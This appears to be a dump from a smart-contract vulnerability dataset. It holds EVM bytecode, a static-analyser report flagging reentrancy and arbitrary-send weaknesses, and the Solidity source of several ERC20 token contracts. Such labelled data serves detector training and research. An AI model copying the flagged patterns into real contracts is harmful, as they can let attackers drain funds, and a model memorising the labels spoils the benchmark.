600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1a57600090505b611c26848484846121b8565b50505050565b6000838311158290611c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6b9190612ed1565b60405180910390fd5b5060008385611c83919061328a565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce060028461216e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d0b573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5c60028461216e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d87573d6000803e3d6000fd5b5050565b6000600654821115611dd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc990612f13565b60405180910390fd5b6000611ddc6121e5565b9050611df1818461216e90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e855781602001602082028036833780820191505090505b5090503081600081518110611ec3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6557600080fd5b505afa158015611f79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f9d9190612940565b81600181518110611fd7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a2565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a295949392919061308e565b600060405180830381600087803b1580156120bc57600080fd5b505af11580156120d0573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121065760009050612168565b600082846121149190613230565b905082848261212391906131ff565b14612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a90612f93565b60405180910390fd5b809150505b92915050565b60006121b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612210565b905092915050565b806121c6576121c5612273565b5b6121d18484846122a4565b806121df576121de61246f565b5b50505050565b60008060006121f2612481565b91509150612209818361216e90919063ffffffff16565b9250505090565b60008083118290612257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224e9190612ed1565b60405180910390fd5b506000838561226691906131ff565b9050809150509392505050565b600060085414801561228757506000600954145b15612291576122a2565b600060088190555060006009819055505b565b6000806000806000806122b6876124dd565b95509550955095509550955061231486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123a985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123f5816125ed565b6123ff84836126aa565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161245c9190613073565b60405180910390a3505050505050505050565b60026008819055506008600981905550565b60008060006006549050600066038d7ea4c6800090506124b366038d7ea4c6800060065461216e90919063ffffffff16565b8210156124d05760065466038d7ea4c680009350935050506124d9565b81819350935050505b9091565b60008060008060008060008060006124fa8a6008546009546126e4565b925092509250600061250a6121e5565b9050600080600061251d8e87878761277a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c2c565b905092915050565b600080828461259e91906131a9565b9050838110156125e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125da90612f53565b60405180910390fd5b8091505092915050565b60006125f76121e5565b9050600061260e82846120f390919063ffffffff16565b905061266281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126bf8260065461254590919063ffffffff16565b6006819055506126da8160075461258f90919063ffffffff16565b6007819055505050565b6000806000806127106064612702888a6120f390919063ffffffff16565b61216e90919063ffffffff16565b9050600061273a606461272c888b6120f390919063ffffffff16565b61216e90919063ffffffff16565b9050600061276382612755858c61254590919063ffffffff16565b61254590919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279385896120f390919063ffffffff16565b905060006127aa86896120f390919063ffffffff16565b905060006127c187896120f390919063ffffffff16565b905060006127ea826127dc858761254590919063ffffffff16565b61254590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061281661281184613128565b613103565b9050808382526020820190508285602086028201111561283557600080fd5b60005b85811015612865578161284b888261286f565b845260208401935060208301925050600181019050612838565b5050509392505050565b60008135905061287e81613766565b92915050565b60008151905061289381613766565b92915050565b600082601f8301126128aa57600080fd5b81356128ba848260208601612803565b91505092915050565b6000813590506128d28161377d565b92915050565b6000815190506128e78161377d565b92915050565b6000813590506128fc81613794565b92915050565b60008151905061291181613794565b92915050565b60006020828403121561292957600080fd5b60006129378482850161286f565b91505092915050565b60006020828403121561295257600080fd5b600061296084828501612884565b91505092915050565b6000806040838503121561297c57600080fd5b600061298a8582860161286f565b925050602061299b8582860161286f565b9150509250929050565b6000806000606084860312156129ba57600080fd5b60006129c88682870161286f565b93505060206129d98682870161286f565b92505060406129ea868287016128ed565b9150509250925092565b60008060408385031215612a0757600080fd5b6000612a158582860161286f565b9250506020612a26858286016128ed565b9150509250929050565b600060208284031215612a4257600080fd5b600082013567ffffffffffffffff811115612a5c57600080fd5b612a6884828501612899565b91505092915050565b600060208284031215612a8357600080fd5b6000612a91848285016128c3565b91505092915050565b600060208284031215612aac57600080fd5b6000612aba848285016128d8565b91505092915050565b600060208284031215612ad557600080fd5b6000612ae3848285016128ed565b91505092915050565b600080600060608486031215612b0157600080fd5b6000612b0f86828701612902565b9350506020612b2086828701612902565b9250506040612b3186828701612902565b9150509250925092565b6000612b478383612b53565b60208301905092915050565b612b5c816132be565b82525050565b612b6b816132be565b82525050565b6000612b7c82613164565b612b868185613187565b9350612b9183613154565b8060005b83811015612bc2578151612ba98882612b3b565b9750612bb48361317a565b925050600181019050612b95565b5085935050505092915050565b612bd8816132d0565b82525050565b612be781613313565b82525050565b6000612bf88261316f565b612c028185613198565b9350612c12818560208601613325565b612c1b8161345f565b840191505092915050565b6000612c33602383613198565b9150612c3e82613470565b604082019050919050565b6000612c56602a83613198565b9150612c61826134bf565b604082019050919050565b6000612c79602283613198565b9150612c848261350e565b604082019050919050565b6000612c9c601b83613198565b9150612ca78261355d565b602082019050919050565b6000612cbf601d83613198565b9150612cca82613586565b602082019050919050565b6000612ce2602183613198565b9150612ced826135af565b604082019050919050565b6000612d05602083613198565b9150612d10826135fe565b602082019050919050565b6000612d28602983613198565b9150612d3382613627565b604082019050919050565b6000612d4b602583613198565b9150612d5682613676565b604082019050919050565b6000612d6e602483613198565b9150612d79826136c5565b604082019050919050565b6000612d91601783613198565b9150612d9c82613714565b602082019050919050565b6000612db4601183613198565b9150612dbf8261373d565b602082019050919050565b612dd3816132fc565b82525050565b612de281613306565b82525050565b6000602082019050612dfd6000830184612b62565b92915050565b6000604082019050612e186000830185612b62565b612e256020830184612b62565b9392505050565b6000604082019050612e416000830185612b62565b612e4e6020830184612dca565b9392505050565b600060c082019050612e6a6000830189612b62565b612e776020830188612dca565b612e846040830187612bde565b612e916060830186612bde565b612e9e6080830185612b62565b612eab60a0830184612dca565b979650505050505050565b6000602082019050612ecb6000830184612bcf565b92915050565b60006020820190508181036000830152612eeb8184612bed565b905092915050565b60006020820190508181036000830152612f0c81612c26565b9050919050565b60006020820190508181036000830152612f2c81612c49565b9050919050565b60006020820190508181036000830152612f4c81612c6c565b9050919050565b60006020820190508181036000830152612f6c81612c8f565b9050919050565b60006020820190508181036000830152612f8c81612cb2565b9050919050565b60006020820190508181036000830152612fac81612cd5565b9050919050565b60006020820190508181036000830152612fcc81612cf8565b9050919050565b60006020820190508181036000830152612fec81612d1b565b9050919050565b6000602082019050818103600083015261300c81612d3e565b9050919050565b6000602082019050818103600083015261302c81612d61565b9050919050565b6000602082019050818103600083015261304c81612d84565b9050919050565b6000602082019050818103600083015261306c81612da7565b9050919050565b60006020820190506130886000830184612dca565b92915050565b600060a0820190506130a36000830188612dca565b6130b06020830187612bde565b81810360408301526130c28186612b71565b90506130d16060830185612b62565b6130de6080830184612dca565b9695505050505050565b60006020820190506130fd6000830184612dd9565b92915050565b600061310d61311e565b90506131198282613358565b919050565b6000604051905090565b600067ffffffffffffffff82111561314357613142613430565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131b4826132fc565b91506131bf836132fc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131f4576131f36133d2565b5b828201905092915050565b600061320a826132fc565b9150613215836132fc565b92508261322557613224613401565b5b828204905092915050565b600061323b826132fc565b9150613246836132fc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561327f5761327e6133d2565b5b828202905092915050565b6000613295826132fc565b91506132a0836132fc565b9250828210156132b3576132b26133d2565b5b828203905092915050565b60006132c9826132dc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061331e826132fc565b9050919050565b60005b83811015613343578082015181840152602081019050613328565b83811115613352576000848401525b50505050565b6133618261345f565b810181811067ffffffffffffffff821117156133805761337f613430565b5b80604052505050565b6000613394826132fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133c7576133c66133d2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61376f816132be565b811461377a57600080fd5b50565b613786816132d0565b811461379157600080fd5b50565b61379d816132fc565b81146137a857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ecef2aea2511061b309e7202b6d9e912758c856257a03db4fe81c4f073f2bbdd64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,679
0x7da1a87cf22415eea5c7a1f096532a1f648faf54
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract FIN is StandardToken { string public constant name = "Financial Incentive Network Points"; string public constant symbol = "FIN"; uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 private constant OFFSET = 10 ** uint256(decimals); uint256 private constant BILLION = (10 ** 9) * OFFSET; // 1 billion is a 1 followed by 9 zeroes uint256 private TOTAL_SUPPLY; constructor(address _holderA, address _holderB, address _holderC) public { balances[_holderA] = BILLION; emit Transfer(0x0, _holderA, BILLION); balances[_holderB] = BILLION; emit Transfer(0x0, _holderB, BILLION); balances[_holderC] = BILLION / 2; emit Transfer(0x0, _holderC, BILLION / 2); TOTAL_SUPPLY = balances[_holderA] + balances[_holderB] + balances[_holderC]; } function totalSupply() public view returns (uint256) { return TOTAL_SUPPLY; } } interface TokenValidator { function check( address _token, address _user ) external returns(byte result); function check( address _token, address _from, address _to, uint256 _amount ) external returns (byte result); } interface ValidatedToken { event Validation( byte indexed result, address indexed user ); event Validation( byte indexed result, address indexed from, address indexed to, uint256 value ); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ReferenceToken is Ownable, ERC20, ValidatedToken { using SafeMath for uint256; string internal mName; string internal mSymbol; uint256 internal mGranularity; uint256 internal mTotalSupply; mapping(address => uint) internal mBalances; mapping(address => mapping(address => bool)) internal mAuthorized; mapping(address => mapping(address => uint256)) internal mAllowed; uint8 public decimals = 18; // Single validator TokenValidator internal validator; constructor( string _name, string _symbol, uint256 _granularity, TokenValidator _validator ) public { require(_granularity >= 1); mName = _name; mSymbol = _symbol; mTotalSupply = 0; mGranularity = _granularity; validator = TokenValidator(_validator); } // Validation Helpers function validate(address _user) internal returns (byte) { byte checkResult = validator.check(this, _user); emit Validation(checkResult, _user); return checkResult; } function validate( address _from, address _to, uint256 _amount ) internal returns (byte) { byte checkResult = validator.check(this, _from, _to, _amount); emit Validation(checkResult, _from, _to, _amount); return checkResult; } // Status Code Helpers function isOk(byte _statusCode) internal pure returns (bool) { return (_statusCode & hex"0F") == 1; } function requireOk(byte _statusCode) internal pure { require(isOk(_statusCode)); } function name() public constant returns (string) { return mName; } function symbol() public constant returns(string) { return mSymbol; } function granularity() public constant returns(uint256) { return mGranularity; } function totalSupply() public constant returns(uint256) { return mTotalSupply; } function balanceOf(address _tokenHolder) public constant returns (uint256) { return mBalances[_tokenHolder]; } function isMultiple(uint256 _amount) internal view returns (bool) { return _amount.div(mGranularity).mul(mGranularity) == _amount; } function approve(address _spender, uint256 _amount) public returns (bool success) { if(validate(msg.sender, _spender, _amount) != 1) { return false; } mAllowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return mAllowed[_owner][_spender]; } function mint(address _tokenHolder, uint256 _amount) public onlyOwner { requireOk(validate(_tokenHolder)); require(isMultiple(_amount)); mTotalSupply = mTotalSupply.add(_amount); mBalances[_tokenHolder] = mBalances[_tokenHolder].add(_amount); emit Transfer(0x0, _tokenHolder, _amount); } function transfer(address _to, uint256 _amount) public returns (bool success) { doSend(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(_amount <= mAllowed[_from][msg.sender]); mAllowed[_from][msg.sender] = mAllowed[_from][msg.sender].sub(_amount); doSend(_from, _to, _amount); return true; } function doSend( address _from, address _to, uint256 _amount ) internal { require(canTransfer(_from, _to, _amount)); mBalances[_from] = mBalances[_from].sub(_amount); mBalances[_to] = mBalances[_to].add(_amount); emit Transfer(_from, _to, _amount); } function canTransfer( address _from, address _to, uint256 _amount ) internal returns (bool) { return ( (_to != address(0)) // Forbid sending to 0x0 (=burning) && isMultiple(_amount) && (mBalances[_from] >= _amount) // Ensure enough funds && isOk(validate(_from, _to, _amount)) // Ensure passes validation ); } } contract Lunar is ReferenceToken { constructor(TokenValidator _validator) ReferenceToken("Lunar Token - SAMPLE NO VALUE", "LNRX", 1, _validator) public { uint256 supply = 5000000; mTotalSupply = supply; mBalances[msg.sender] = supply; emit Transfer(0x0, msg.sender, supply); } } contract SimpleAuthorization is TokenValidator, Ownable { mapping(address => bool) private auths; constructor() public {} function check( address /* token */, address _address ) external returns (byte resultCode) { if (auths[_address]) { return hex"11"; } else { return hex"10"; } } function check( address /* _token */, address _from, address _to, uint256 /* _amount */ ) external returns (byte resultCode) { if (auths[_from] && auths[_to]) { return hex"11"; } else { return hex"10"; } } function setAuthorized(address _address, bool _status) public onlyOwner { auths[_address] = _status; } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea578063313ce5671461026f57806340c10f19146102a0578063556f0dc7146102ed57806370a08231146103185780638da5cb5b1461036f57806395d89b41146103c6578063a9059cbb14610456578063dd62ed3e146104bb578063f2fde38b14610532575b600080fd5b3480156100d657600080fd5b506100df610575565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610617565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d461076b565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610775565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610927565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ac57600080fd5b506102eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093a565b005b3480156102f957600080fd5b50610302610abe565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac8565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610b11565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103d257600080fd5b506103db610b36565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041b578082015181840152602081019050610400565b50505050905090810190601f1680156104485780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561046257600080fd5b506104a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b604051808215151515815260200191505060405180910390f35b3480156104c757600080fd5b5061051c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bef565b6040518082815260200191505060405180910390f35b34801561053e57600080fd5b50610573600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c76565b005b606060018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561060d5780601f106105e25761010080835404028352916020019161060d565b820191906000526020600020905b8154815290600101906020018083116105f057829003601f168201915b5050505050905090565b600060017f010000000000000000000000000000000000000000000000000000000000000002610648338585610dcb565b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614151561067a5760009050610765565b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6000600454905090565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561080257600080fd5b61089182600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fcb90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091c848484610fe4565b600190509392505050565b600860009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b6109a66109a18361118e565b61132e565b6109af81611345565b15156109ba57600080fd5b6109cf8160045461137990919063ffffffff16565b600481905550610a2781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137990919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600354905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bce5780601f10610ba357610100808354040283529160200191610bce565b820191906000526020600020905b815481529060010190602001808311610bb157829003601f168201915b5050505050905090565b6000610be5338484610fe4565b6001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cd157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610d0d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634277b5b1308787876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050602060405180830381600087803b158015610efb57600080fd5b